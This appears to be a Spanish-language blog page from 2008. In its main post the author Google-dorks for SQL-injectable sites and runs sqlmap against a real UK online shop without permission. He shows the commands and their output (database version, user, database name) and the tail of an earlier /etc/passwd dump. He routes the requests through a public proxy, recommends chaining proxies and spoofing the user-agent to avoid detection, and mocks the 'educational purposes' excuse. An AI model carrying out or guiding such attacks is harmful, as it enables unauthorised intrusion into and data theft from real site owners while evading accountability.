nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
mysql:x:104:105:MySQL Server,,,:/var/lib/mysql:/bin/false


[*] shutting down at: 22:59:12

Para terminar tenemos un dump de todo el MySql. Utilizamos "--eta --dump-all -v 1". Esto puede tardar bastante y no volcaré el resultado.

En próximos post intentaremos solucionar estos problemas.

Más información:
+ Manual sqlmap
+ tarde aburrida
+ About SQL Injection Cheat Sheet
+ Inyeccion en la vida real (y otras cosas)

tarde aburrida

1 de noviembre de 2008

¿que hace uno después de limpiar el baño y ver la clasificación del gran premio del Brasil?, pues irse al ordenado y buscar alguna pagina vulnerable.

Cuando estuve en Bilbao en la asegur@it iii tenia delante mio un chaval de no más de 21 años con un libro de Anaya multimedia que decia Guia práctica Hackers, preguntándole al de la conferencia por qué el nunca encontraba ninguna web vulnerable a "1 or 1=1"... Al ponente de la conferencia se le quedo cara de poker (o maligno) y al final sonrió y le dijo "chaval si todo fuera tan fácil".

Así que veamos en cuanto tiempo tardo en encontrar una sola pagina vulnerable a "1 or 1=1". Hechemos mano de nuestro amigo google y buscamos:

inurl:list.php?id=

En 5 minutos pasando paginas por google he encontrado dos. Una es una tienda de accesorios para perros en Inglaterra y otra es un portal de juegos o revistas manga en Japón.

Ya se cual era el problema, si se hubiera gastado 20€ más se podría comprar el "Hacking con Google"... y si se da prisa le regalan el marcapagina de conejo. En el futuro no hay que menospreciar al chaval... porque toda la información está en internet y puede aprender.



Bueno como sigo muy aburrido y el blog del informático del mal no deja de decir tonterías ni escribir nada serio :), me he bajado la ultima versión del sqlmap del 20 de octubre (programa que alguien creo en mis mismas condiciones de aburrimiento).

Veamos que tal funciona con una de las url vulnerables que he encontrado. Preguntamos algo sencillito. ¿que versión de base de datos tienes?

# ./sqlmap.py -u "http://www.XXXX.co.uk/list.php?ID=1" 
--proxy=http://200.206.46.178:3128 -v 1

    sqlmap/0.6.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
                        and Daniele Bellucci <daniele.bellucci@gmail.com>

[*] starting at: 21:24:52

back-end DBMS:  MySQL < 5.0.0

Está muy bien, es versión moderna. Menos de 5. Veamos ahora con que usuario se hacen las conlsultas a la base de datos:

# ./sqlmap.py -u "http://www.XXXX.co.uk/list.php?ID=1" 
--current-user --proxy=http://200.206.46.178:3128 --dbms "MySQL" -v 1

    sqlmap/0.6.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
                        and Daniele Bellucci <daniele.bellucci@gmail.com>

[*] starting at: 22:06:14

current user:    'r8media_kelly@44.13.56.0/255.255.224.0'

[22:31:22] [INFO] Fetched data logged to text files under '/tmp/sqlmap-0.6.1/output/www.XXXXXX.co.uk'

[*] shutting down at: 22:31:22

Veamos ahora cual es el nombre de la base de datos con la que trabaja esta web:

# ./sqlmap.py -u "http://www.XXXX.co.uk/list.php?ID=1" 
--current-db --proxy=http://200.206.46.178 --dbms "MySQL" -v 1

    sqlmap/0.6.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
                        and Daniele Bellucci <daniele.bellucci@gmail.com>

[*] starting at: 23:04:20

current database:    'r9_database'

Observar que todas las peticiones que hago las hago con un proxy publico (de Brasil). Si alguien quisiera ir más allá (siempre con fines educativos) debería utilizar varios proxys encadenados tanto para utilizar sqlmap y las búsquedas por Internet. También estaría bien modificar el user-agent de las peticiones http, etc.

Nota: dicen que si lo haces con fines educativos o porque son deberes de tu profesor de aquitectura de redes, no te pasará nada.

Otro día utilizaré el sqlmap para reventar mi propia web+mysql... siempre con fines educativos.

Coño, la hora de preparar la cena...

Más información:
+ Quiero un proxy público
+ No tengo ni puta idea de que es esto de la injeción de SQL
+ ¿Hay más programas como sqlmap?

más de lo mismo: bueno, bonito... y caro

Dicen que es el nuevo Windows 7.


Dicen que esta versión podrá escalar hasta 256 procesodores...